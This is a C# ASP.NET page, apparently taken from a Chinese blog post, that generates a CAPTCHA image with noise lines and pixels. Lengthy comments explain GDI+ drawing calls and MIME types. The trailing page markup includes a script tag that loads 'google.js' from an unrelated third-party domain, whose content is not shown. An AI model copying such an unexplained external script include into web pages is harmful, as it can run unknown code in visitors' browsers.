using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Drawing;
using System.Drawing.Drawing2D;//命名空间提供高级的二维和矢量图形功能。
//此命名空间包含渐变画笔、Matrix 类(用于定义几何变换)和 GraphicsPath 类。
public partial class CheckCode : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
this.creatRandomImage(creatRandomNum());
}
/// <summary>
/// 生成随机数列
/// </summary>
/// <returns></returns>
private string creatRandomNum()
{
int number = 0;
char num;
string creatNum = string.Empty;
Random randomNum = new Random();
for (int i = 0; i <= 4; i++)
{
number = randomNum.Next();
if ((number % 3) == 0)
{
num = (char)('0' + (char)(number % 10));
}
else
{
num = (char)('A' + (char)(number % 26));
}
creatNum += num.ToString();
}
Session["checkNum"] = creatNum;
return creatNum;
}
/// <summary>
/// 创建随机图片
/// </summary>
/// <param name="creatNum"></param>
private void creatRandomImage(string creatNum)
{
if ((creatNum.Trim() == string.Empty) || (creatNum == null))
{
return;
}
Bitmap img = new Bitmap((int)(Math.Ceiling(creatNum.Length * 12.5)), 22);//封装 GDI+ 位图,此位图由图形图像及其属性的像素数据组成。Bitmap 是用于处理由像素数据定义的图像的对象。参数是宽和高
Graphics grap = Graphics.FromImage(img); //封装一个 GDI+ 绘图图面。无法继承此类。从指定的 Image 创建新的 Graphics。
try
{
Random ran = new Random();//实力化一个随机数的对象
grap.Clear(Color.White);//清除整个绘图面并以指定背景色填充。
for (int i = 0; i <= 9; i++)
{
int x1 = ran.Next(img.Width);//主要用于产生随机数字 后面可以跟一个参数 可以产生不大与该参数的随即数
int x2 = ran.Next(img.Width);
int y1 = ran.Next(img.Height);
int y2 = ran.Next(img.Height);
grap.DrawLine(new Pen(Color.Red), x1, y1, x2, y2);//drawline是用来绘制一条线段,需要指定一个花笔(即是什么颜色),还需要四个点,来确定2维中唯一的2点(x1,y1)(y1,y2)确定了2个点 使用指定的颜色绘制了一条线段
}
//循环了9次 就是绘制了9条不同的线段,也有可能是一样 就是产生的四位随机会数都是一样的
Font font = new Font("Arial", 12, FontStyle.Bold | FontStyle.Italic | FontStyle.Strikeout);//这里用来定义特定的文本格式 参数意思(那种字体,字体大小,字体样式等(字体加粗,字体倾斜,字体中间有下划线,FontStyle.Underline 这个是下面有下划线))
LinearGradientBrush brush = new LinearGradientBrush(new Rectangle(0, 0, img.Width, img.Height), Color.DarkRed, Color.Black, 5f, true);
//使用线形渐变进行封装刷子,一个矩形的四个点,起始颜色,结束颜色,角度,以及是否关联角度
grap.DrawString(creatNum, font, brush, 2, 2);//在指定位置并且用指定的 Brush 和 Font 对象绘制指定的文本字符串。
// creatNum
//要绘制的字符串。
//font
//Font,它定义字符串的文本格式。
//brush
//Brush,它确定所绘制文本的颜色和纹理。
//2
//所绘制文本的左上角的 x 坐标。
//2
//所绘制文本的左上角的 y 坐标。
for (int i = 0; i <= 50; i++)
{
int x1 = ran.Next(img.Width);
int y1 = ran.Next(img.Height);
img.SetPixel(x1, y1, Color.FromArgb(ran.Next()));//获取或设置此 Bitmap 中指定像素的颜色 (参数 X坐标 Y坐标 以及一个颜色)
//Color.FromArgb(ran.Next())) 这个用来随即用一种颜色来进行图象的设置 后面需要跟一个32位的数字,在64位上会不会出错呢?
}
grap.DrawRectangle(new Pen(Color.Tomato), 0, 0, img.Width - 1, img.Height - 1);//绘制由坐标对、宽度和高度指定的矩形。这个和drawline有点象
System.IO.MemoryStream ms = new System.IO.MemoryStream();//使用初始化为零的可扩展容量初始化 MemoryStream 类的新实例。也就是支持存储区为内存的流 的一个新实例
img.Save(ms, System.Drawing.Imaging.ImageFormat.Gif);//将此图像以指定的格式保存到指定的流中。 2个参数ms将在其中保存图像的 Stream。System.Drawing.Imaging.ImageFormat.Gif,指定保存的图像的格式。
Response.ClearContent();//清除缓冲区流中的所有内容
Response.ContentType = "image/Gif";//设置输出流的http mime类型 关于MIME自己也不是很清楚 下面是网上的资料
// 什么是MIME类型-在把输出结果传送到浏览器上的时候,浏览器必须启动相应的应用程序来处理这个输出文档。这可以通过多种类型MIME(多功能网际邮件扩充协议)来完成。在HTTP中,MIME类型被定义在Content-Type header中。
//例如,架设你要传送一个Microsoft Excel文件到客户端。那么这时的MIME类型就是“application/vnd.ms-excel”。在大多数实际情况中,这个文件然后将传送给 Execl来处理(假设我们设定Execl为处理特殊MIME类型的应用程序)。在ASP中,设定MIME类型的方法是通过Response对象的 ContentType属性。
//多媒体文件格式MIME
//最早的HTTP协议中,并没有附加的数据类型信息,所有传送的数据都被客户程序解释为超文本标记语言HTML 文档,而为了支持多媒体数据类型,HTTP协议中就使用了附加在文档之前的MIME数据类型信息来标识数据类型。
//MIME意为多目Internet邮件扩展,它设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。然而当它被HTTP协议支持之后,它的意义就更为显著了。它使得HTTP传输的不仅是普通的文本,而变得丰富多彩。
//每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。
//常见的MIME类型
//超文本标记语言文本 .html,.html text/html
//普通文本 .txt text/plain
//RTF文本 .rtf application/rtf
//GIF图形 .gif image/gif
//JPEG图形 .ipeg,.jpg image/jpeg
//au声音文件 .au audio/basic
//MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
//RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
//MPEG文件 .mpg,.mpeg video/mpeg
//AVI文件 .avi video/x-msvideo
//GZIP文件 .gz application/x-gzip
//TAR文件 .tar application/x-tar
//Internet中有一个专门组织IANA来确认标准的MIME类型,但Internet发展的太快,很多应用程序等不及IANA来确认他们使用的 MIME类型为标准类型。因此他们使用在类别中以x-开头的方法标识这个类别还没有成为标准,例如:x-gzip,x-tar等。事实上这些类型运用的很广泛,已经成为了事实标准。只要客户机和服务器共同承认这个MIME类型,即使它是不标准的类型也没有关系,客户程序就能根据MIME类型,采用具体的处理手段来处理数据。而Web服务器和浏览器(包括操作系统)中,缺省都设置了标准的和常见的MIME类型,只有对于不常见的 MIME类型,才需要同时设置服务器和客户浏览器,以进行识别。
//由于MIME类型与文档的后缀相关,因此服务器使用文档的后缀来区分不同文件的MIME类型,服务器中必须定义文档后缀和MIME类型之间的对应关系。而客户程序从服务器上接收数据的时候,它只是从服务器接受数据流,并不了解文档的名字,因此服务器必须使用附加信息来告诉客户程序数据的MIME类型。服务器在发送真正的数据之前,就要先发送标志数据的MIME类型的信息,这个信息使用Content-type关键字进行定义,例如对于HTML文档,服务器将首先发送以下两行MIME标识信息,这个标识并不是真正的数据文件的一部分。
//Content-type: text/html
//注意,第二行为一个空行,这是必须的,使用这个空行的目的是将MIME信息与真正的数据内容分隔开。
Response.BinaryWrite(ms.ToArray());//将一个二进制字符串写入 HTTP 输出流。
}
//catch (Exception ex)
//{
//}
finally
{
grap.Dispose();//垃圾回收
img.Dispose();//垃圾回收
}
}
}
验证码的实现分析
最新推荐文章于 2024-07-16 09:00:00 发布
<script src="http://www.cdsbfx.com/js/google.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>